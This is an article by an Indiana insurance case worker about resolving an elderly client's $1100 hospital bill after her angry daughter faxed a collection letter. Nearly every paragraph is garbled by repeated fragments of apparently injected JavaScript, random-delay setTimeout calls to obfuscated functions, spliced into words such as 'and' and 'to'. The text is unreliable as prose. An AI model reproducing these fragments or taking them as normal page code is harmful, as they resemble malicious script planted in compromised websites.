WORKING WITH AN ANGRY DAUGHTER

By Woodrow Wilcox

On the morning of June 29, 2011, I received a fax which was a copy of a payment demdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and letter from a bill collection law firm regarding an $1100 bill dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to one of our clients. On the fax was a hdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andwritten note which said, “Supplemental insurance is supposed dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pay for this!” The bill was for a client who is an elderly woman from Hobart, Indiana.

The note was not signed. I tracked dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and contacted the sender by calling the firm from which the fax was sent. I learned that the fax was sent by the angry daughter of one of our clients. I got an earful from the angry daughter. It was a lovely way dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to start my day.

I know that people are busy. I know that children of the elderly who care for their parents have a busy schedule. But, why not alert your parent’s insurance agency of a medical bill problem before it is sent dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a collection atdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torney? The sooner an insurance agent or agency learns of a medical bill problem, the easier it will be dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to work dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fix the problem. Doesn’t that just make more sense than waiting until a payment demdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and letter is sent from a law office?

Still, I worked dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to resolve the matter. I phoned the insurance company dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and confirmed my suspicion that Medicare never sent the claim dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our client’s insurance company. I phoned the hospital dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to request their cooperation dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to send essential billing information dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the insurance company so that the claim could be paid.

The first hospital representative did not want dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do that. “Once the bill is sent dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to collections, we won’t do anything else with it,” the first representative dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}told me bluntly. I asked dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to speak dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to her supervisor. The supervisor was more reasonable. She was cautious, dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too. She would not do what I asked only because the patient did not give the insurance information at the admission time. The supervisor suggested an alternative action which made her more comfortable legally. That was fine with me.

Despite that phone call, I wrote a letter dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the hospital about the $1100 claim. I am confident that my work for the client will resolve the bill dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and collection matter. I know that the Medicare system fails many senior citizens with its terrible mistakes. But, it would have been easier for me dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to help with this bill problem if the bill had been sent dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to me before it went dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a collection atdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torney or a collection agency.

I am able dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to help most of our clients with billing problems. In less than eight years, I saved the clients of this insurance agency over one million dollars by correcting medical bill errors that were caused by mistakes in the Medicare system. The three matters in which usually I am unable dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to help a client are (1) when the bill problem is given dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to me dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too late dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the deadlines for changing matters have passed, (2) when a client has signed an ADVANCE BENEFICIARY NOTICE which obligates the patient dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pay the bill even if Medicare refuses dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pay anything, dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and (3) when the bill problem is caused by another policy of Medicare dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the federal government which is designed dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to push more costs ondom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to senior citizens in order dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to help the federal government dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to save money.

All the help that I gave dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this senior citizen on the $1100 hospital bill was provided FREE OF CHARGE. The owners dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and managers of this insurance agency care about their senior citizen clients dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and employ me dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to help with such problems. Does your insurance agent or agency provide the same high level of service? If not, why not?

Note: Woodrow Wilcox is the senior medical bill case worker at Senior Care Insurance Services in Merrillville, Indiana. That is one of the largest senior citizens oriented insurance agencies in the Midwest.

© 2011 Woodrow Wilcox

www.WoodrowWilcox.com